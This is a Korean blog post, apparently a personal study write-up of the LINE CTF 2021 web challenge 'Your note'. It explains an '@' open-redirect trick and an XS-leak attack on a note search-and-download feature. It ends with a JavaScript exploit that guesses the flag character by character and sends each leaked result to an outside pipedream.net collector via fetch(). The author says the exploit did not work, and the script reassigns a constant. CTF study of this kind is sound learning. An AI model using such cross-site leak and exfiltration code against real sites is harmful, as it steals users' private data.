CTF/LINE CTF 2021

[Study] LINE CTF 2021 Your note

Vardy 2021. 3. 29. 19:22

대회 끝나고 웹 분야 한 문제 더 풀어보고 싶어서 도전해봤던 문제이다.

 

시나리오 구상까진 하였으나 최종적으로 플래그를 획득하지는 못했다.(서버 닫힘)

 

내가 느낀 이 문제의 포인트는

 

1. @의 활용

SERVERURL/login?redirect=[USER_INPUT]

부분에서 [USER_INPUT] 이  BASEURL(고정)+[USER_INPUT] 으로 처리가 되는데, [USER_INPUT] 에 ' @[접속유도URL]' 과 같이 입력하면 @ 뒷부분의 URL로 이동한다. ex) https://naver.com@google.com 과 같이 주소창에 입력해보면 google.com으로 이동함을 알 수 있다.

 

2. XS-leak 공격 기법

최종적으로 플래그를 획득하는데는 XS-leak 공격 기법이 활용된다. 이에 대한 개념은 아래 링크를 참조할 수 있다.

defenit.kr/2019/10/06/Web/%E3%84%B4%20Research/XS-SEARCH__ATTACK/

 

XS Search Attack

Cross-Site Search(XS-Search) Attack포스팅할 주제는 XS-Search Attack 입니다. (XS-search) 공격은 브라우저가 검색에 대한 결과 값에 대한 차이점을 사용하여 동일한 출처 정책(SOP)을 우회하고 민감한 정보를 추

defenit.kr

이번 문제의 경우 노트 search기능의 q파라미터의 값과 download기능을 활용하는 것이다. q파라미터에 플래그와 일치하는 값이 있으면 다운로드가 되고, 일치하지 않는 값이라면 기존 search 페이지로 이동하게 된다. 

핵심은 두 경우의 차이를 이용하는 것인데, 익스 코드를 작성하는 과정에서 왜인지 내가 테스트 해봤을때는 잘 되지 않았다.

(다운로드 성공 시 window.open.location.href가 about:blank로 반환이 되고, 다운로드 실패 시 SOP에 위반되어 에러를 반환할 것이라는 시나리오를 짰는데, 두 경우 모두 about:blank가 반환되었다..ㅠ)

 

익스코드를 완성시키지는 못했지만 생소했던 XS-leak 기법을 접해봤기 때문에 나름의 의미가 있는 시간이라고 생각한다.

 

(추가 정보 획득 시 업데이트 예정) 

 

----------------------------------------------------------------------------------------------------------------------------

<script>
    const FLAG = "LINECTF{"; // flag의 시작.
    const exploit = function (){
        const leak = function(url){
            return new Promise(function(resolve, reject){
                // window.open으로 창을 열때, content-disposition attachment를 만나면 location은 abount:blank 됨.
                // /search에서 플래그와 일치하면 다운로드를 하는 데, 이때 content-disposition attachment를 반환함.
                const open = window.open(url);
                setTimeout(() => {
                    try{
                        open.location.href;
                        FLAG = FLAG + url.split('=')[1].split('&')[0];
                        fetch(`https://79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/?q=${FLAG}`);
                        open.close();
                        resolve(1);
                    }catch(e){
                        open.close();
                        resolve(0)
                    }
                }, 1000);
            });
        }

        async function start() {
            const chars = "0123456789abcdefghijklmnopqrstuvwxyz{}_!";
            for (let i = 0; i < chars.length; i++) {
                const result = await leak(`http://35.200.11.35/search?q=${FLAG + chars[i]}&download`);
                if (result){
                    break
                }
            }
        }
    start()
    }();
</script>
반응형